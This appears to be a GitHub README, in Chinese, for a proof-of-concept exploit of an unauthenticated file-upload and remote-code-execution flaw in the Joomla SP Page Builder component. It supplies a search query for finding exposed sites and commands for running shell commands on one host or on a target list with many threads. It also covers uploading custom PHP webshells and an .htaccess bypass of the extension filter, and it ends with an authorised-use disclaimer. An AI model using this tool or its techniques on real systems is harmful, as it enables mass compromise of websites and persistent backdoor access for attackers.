ogenich/CVE-2026-48908

GitHub: ogenich/CVE-2026-48908

针对 Joomla SP Page Builder 未授权任意文件上传与 RCE 漏洞的 PoC 利用工具,支持多线程批量扫描与自定义 webshell 上传。

Stars: 0 | Forks: 0

# CVE-2026-48908 — SP Page Builder 未授权 RCE 适用于 Joomla 的 **SP Page Builder** (`com_sppagebuilder`) ≤ 6.6.1 版本允许未授权攻击者上传任意文件并实现远程代码执行 (RCE)。 | 字段 | 值 | |---|---| | CVE | CVE-2026-48908 | | CWE | CWE-284 (不当访问控制) | | 组件 | SP Page Builder (com_sppagebuilder) | | 受影响版本 | 1.0.0 – 6.6.1 | | 修复版本 | 6.6.2 | | 权限要求 | 无需权限 (身份验证前) | | 用户交互 | 无需交互 | ## FOFA 查询 ``` body="com_sppagebuilder" ``` ## 用法 ### 环境要求 - Python 3.8+ ``` pip install -r requirements.txt ``` ### 单个主机 ``` python3 exploit_poc.py https://target.example -c "id" python3 exploit_poc.py --url target.example -c "uname -a" python3 exploit_poc.py https://target.example --check # probe only, no command python3 exploit_poc.py https://target.example --token abc123 # custom token ``` ### 批量扫描 ``` python3 exploit_poc.py --hosts ips.txt -c "id" python3 exploit_poc.py --hosts ips.txt -c "id" -j 20 # 20 parallel threads python3 exploit_poc.py --hosts ips.txt --no-verbose # quiet mode ``` ### 自定义 webshell ``` python3 exploit_poc.py https://target.example --shell-file shell.php python3 exploit_poc.py --hosts ips.txt --shell-file shell.php ``` ### 选项 | 标志 | 描述 | |---|---| | `url` | 目标 URL (位置参数或使用 `--url`) | | `--hosts ` | 包含主机列表的文件 (每行一个) | | `-c, --cmd ` | 要执行的命令 (默认: `id`) | | `--check` | 仅探测,不运行命令 | | `--token ` | 保护上传 shell 的密钥 (默认: 随机) | | `--shell-file ` | 上传自定义 PHP webshell 以替代内置 shell | | `-j, --threads ` | 用于批量扫描的并行线程数 (默认: 10) | | `--no-verbose` | 抑制每个主机的详细输出 | ## 输出 扫描完成后,将保存三个结果文件: | 文件 | 内容 | |---|---| | `vulnerable_hosts.txt` | 确认存在 RCE 的主机及其 webshell URL | | `not_vulnerable_hosts.txt` | 已修补漏洞或不存在漏洞的主机 | | `partial_vulnerable_hosts.txt` | 文件写入成功但无法执行 PHP 的主机 | | `custom_shell_hosts.txt` | 上传了自定义 shell 的主机,按基础 URL 分组 (仅在使用 `--shell-file` 时生成) | | `scan_results.json` | 包含所有主机完整结果的 JSON 文件 | ## 工作原理 该漏洞利用程序滥用了 `com_sppagebuilder` 的 `asset.uploadCustomIcon` 任务: 1. 无需身份验证(不需要 CSRF token)即可 POST 一个构造好的 ZIP 文件(icon-font 包)。 2. SPPB 会将 ZIP 文件解压到 `/media/com_sppagebuilder/assets/iconfont//fonts/`。 3. 上传的 PHP 文件将被公开访问。 脚本会尝试多种 PHP 扩展名(`.php`、`.PHP`、`.pHp`、`.Php`、`.pht`、`.phtml` 等),直到找到一种可以成功执行的扩展名。 ### htaccess 绕过 当直接的 PHP 扩展名被 SPPB 的过滤器拦截时,脚本会在 payload 旁边释放一个 `.htaccess` 文件: ``` AddType application/x-httpd-php .PHP ``` 这会强制 Web 服务器将 `.PHP`(大写)作为 PHP 处理 —— 从而绕过 SPPB 区分大小写的黑名单。要求启用 `AllowOverride` 并允许在 `/media` 目录中执行 PHP。 ## 修改说明 此 PoC 基于 https://github.com/papageo75/CVE-2026-48908-PoC/,并进行了以下改进: ### 1. 非 JSON 响应处理 某些服务器响应可能不是有效的 JSON。原始 PoC 在执行 `r.json()` 时会崩溃。此版本会解析原始响应文本以提取 JSON 数据: **修改前:** ``` try: data = r.json() except ValueError: return None ``` **修改后:** ``` try: data = r.json() except ValueError: raw = r.text idx = raw.find("{") if idx == -1: return None try: data, _ = json.JSONDecoder().raw_decode(raw[idx:]) except ValueError: return None ``` ### 2. 批量扫描支持 添加了多线程批量扫描功能: - `--hosts ` — 从文件加载目标 (每行一个) - `-j, --threads ` — 设置并行线程数 (默认: 10) - `--no-verbose` — 抑制每个主机的详细输出 - 结果会被分组并保存到分类的 `.txt` 文件中 ### 3. 自定义 Webshell 上传 添加了 `--shell-file ` 选项,可上传自定义 PHP webshell 以替代内置的受 token 保护的 shell。使用此选项时: - 脚本仅上传 shell,不会运行 `-c` 指定的命令 - 不会执行执行测试 (`run()`) - 将测试并报告所有可用的扩展名 - 结果将保存到 `custom_shell_hosts.txt` ## 免责声明 仅供授权使用。仅限用于经过授权的渗透测试、CTF 比赛和实验室目标。您需对使用此工具的方式自行承担全部责任。
标签:CISA项目, Python, Web安全, 无后门, 编程工具, 蓝队分析, 远程代码执行, 逆向工具